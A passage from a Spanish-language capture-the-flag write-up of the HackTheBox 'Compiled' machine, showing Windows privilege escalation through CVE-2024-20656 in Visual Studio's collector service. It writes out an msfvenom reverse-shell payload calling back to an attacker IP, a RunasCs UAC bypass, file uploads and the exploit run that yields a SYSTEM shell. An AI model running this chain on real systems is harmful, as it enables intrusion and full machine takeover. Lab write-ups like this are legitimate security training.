"C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe"                                                              False VGAuthService
"C:\Program Files\VMware\VMware Tools\vmtoolsd.exe"                                                                                 False VMTools
"C:\Program Files (x86)\Microsoft Visual Studio\Shared\Common\DiagnosticsHub.Collection.Service\StandardCollector.Service.exe"      False VSStandardCollectorService150
"C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.24060.7-0\NisSrv.exe"                                                       True WdNisSvc
"C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.24060.7-0\MsMpEng.exe"                                                      True WinDefend
"C:\Program Files\Windows Media Player\wmpnetwk.exe"                                                                                False WMPNetworkSvc

Uno se los servicios está relacionado a Visual Studio, llamado VSStandardCollectorService150.

Buscando por vulnerabilidades para Visual Studio en MITRE muestra muchas. Entre ellas encontramos la vulnerabilidad CVE-2024-20656 para VSStandardCollectorService150. Tenemos este blog explicando esta vulnerabilidad. En resumen, esta vulnerabilidad toma ventaja de escribir archivos, mientras el servicio es ejecutado, en una carpeta temporal sin restricciones, cuyo dueño es nt authority/system, para escribir archivos/enlaces simbólicos a archivos maliciosos y ejecutarlos con privilegios.

Si revisamos procesos corriendo en Windows usando evil-winrm obtenemos un error:

*Evil-WinRM* PS C:\Users\Emily\Documents> Get-Service -Name "VSStandardCollectorService150"

Cannot find any service with service name 'VSStandardCollectorService150'.
At line:1 char:1
+ Get-Service -Name "VSStandardCollectorService150"
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (VSStandardCollectorService150:String) [Get-Service], ServiceCommandException
    + FullyQualifiedErrorId : NoServiceFoundForGivenName,Microsoft.PowerShell.Commands.GetServiceCommand

Pero si usamos la sesión de CMD obtenida con RunasCs sí somos capaces de acceder a este servicio:

C:\Windows\system32>powershell.exe -command Get-Service -Name "VSStandardCollectorService150"
powershell.exe -command Get-Service -Name "VSStandardCollectorService150"

Status   Name               DisplayName
------   ----               -----------
Running  VSStandardColle... Visual Studio Standard Collector Se...

Esto nos da una leve pista para después: en la sesión obtenida con RunasCs somos capaces de acceder a servicios y comandos los cuales no somos capaces de acceder en una sesión con evil-winrm (WinRM).

Buscando por la vulnerabilidad para Visual Studio encontramos además este repositorio. No obstante, tratar de buildearlo y compilarlo no funcionó para mí. En su lugar, utilizaré un fork de aquel repositorio. Siguiendo los pasos dados en aquel fork, debemos primeros crear un archivo .exe que nos envie una reverse shell con msfvenom:

❯ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.2 LPORT=443 EXITFUNC=thread -f exe -a x86 --platform windows -o payload.exe

No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 73802 bytes
Saved as: payload.exe

Usamos la sesión de emily a través de evil-winrm para subir todos los archivos en un directorio llamado c:\exploit. Creamos el directorio:

*Evil-WinRM* PS C:\Users\Emily\Downloads> mkdir c:\exploit


    Directory: C:\


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         12/8/2024   6:03 PM                exploit

y subimos todos los archivos necesarios utilizando la función upload de evil-winrm:

*Evil-WinRM* PS C:\Users\Emily\Documents> cd c:\exploit

*Evil-WinRM* PS C:\exploit> upload payload.exe

Info: Uploading /home/gunzf0x/HTB/HTBMachines/Medium/Compiled/exploits/payload.exe to C:\exploit\payload.exe

Data: 98400 bytes of 98400 bytes copied

Info: Upload successful!
*Evil-WinRM* PS C:\exploit> upload RunasCs.exe runascs.exe

Info: Uploading /home/gunzf0x/HTB/HTBMachines/Medium/Compiled/exploits/RunasCs.exe to C:\exploit\runascs.exe

Data: 68948 bytes of 68948 bytes copied

Info: Upload successful!

*Evil-WinRM* PS C:\exploit> upload Expl.exe

Info: Uploading /home/gunzf0x/HTB/HTBMachines/Medium/Compiled/exploits/CVE-2024-20656/Expl.exe to C:\exploit\Expl.exe

Data: 346792 bytes of 346792 bytes copied

Info: Upload successful!

Una vez subidos todos los archivos, pasamos de una sesión con evil-winrm a una sesión con CMD usando RunasCs, bypasseando el UAC. Empezamos un listener por el puerto 443 y nos enviamos una reverse shell usando RunasCs.

Nota
Por alguna razón, sospecho que por el User Account Control (UAC), si no usamos RunasCs, cuando ejecutemos el exploit obtendremos el un error al ejecutarlo: The Windows Installer Service could not be accessed. This can occur if the Windows Installer is not correctly installed. Contact your support personnel for assistance. en la cadena de ataque más tarde. El mensaje claramente muestra un error relacionado a permisos, lo cual sospecho que tiene que ver con problemas con UAC y es bypasseado con RunasCs.

Luego, en la shell obtenida con RunasCs, pasamos de una CMD a Powershell:

C:\Windows\system32>powershell

powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Try the new cross-platform PowerShell https://aka.ms/pscore6

PS C:\Windows\system32>

Exportamos la ruta absoluta del binario VSDiagnostics.exe tal cual explica el repositorio forkeado:

PS C:\Windows\system32> $VSDiagnostics = Get-Item "C:\\*\\Microsoft Visual Studio\\*\\Community\\Team Tools\\DiagnosticsHub\\Collector\\VSDiagnostics.exe" | Select -last 1

$VSDiagnostics = Get-Item "C:\\*\\Microsoft Visual Studio\\*\\Community\\Team Tools\\DiagnosticsHub\\Collector\\VSDiagnostics.exe" | Select -last 1

Empezamos un nuevo listener con netcat:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...

y ejecutamos el exploit:

PS C:\Windows\system32> c:\exploit\Expl.exe $VSDiagnostics.FullName "c:\exploit\payload.exe"

c:\exploit\Expl.exe $VSDiagnostics.FullName "c:\exploit\payload.exe"
[+] VSDiagnostics: C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\Team Tools\DiagnosticsHub\Collector\VSDiagnostics.exe
[+] Payload: c:\exploit\payload.exe

Obtenemos así una shell como nt authority/system:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.26] 60924
Microsoft Windows [Versin 10.0.19045.4651]
(c) Microsoft Corporation. Todos los derechos reservados.

C:\ProgramData\Microsoft\VisualStudio\SetupWMI>whoami
whoami

nt authority\system
Nota
Como dijimos antes, si obtenemos un mensaje The Windows Installer Service could not be accessed. luego de la línea [+] Payload cuando ejecutamos Expl.exe, esto puede significar que tenemos algunos problemas con los permisos y por esto es que se recomienda ejecutar la cadena de ataque desde la sesión con RunasCs (y puede que tengamos que reiniciar la máquina si esto falla jeje 😅).

GG. Podemos obtener la flag de root en el Desktop del usuario Administrator.

~Happy Hacking.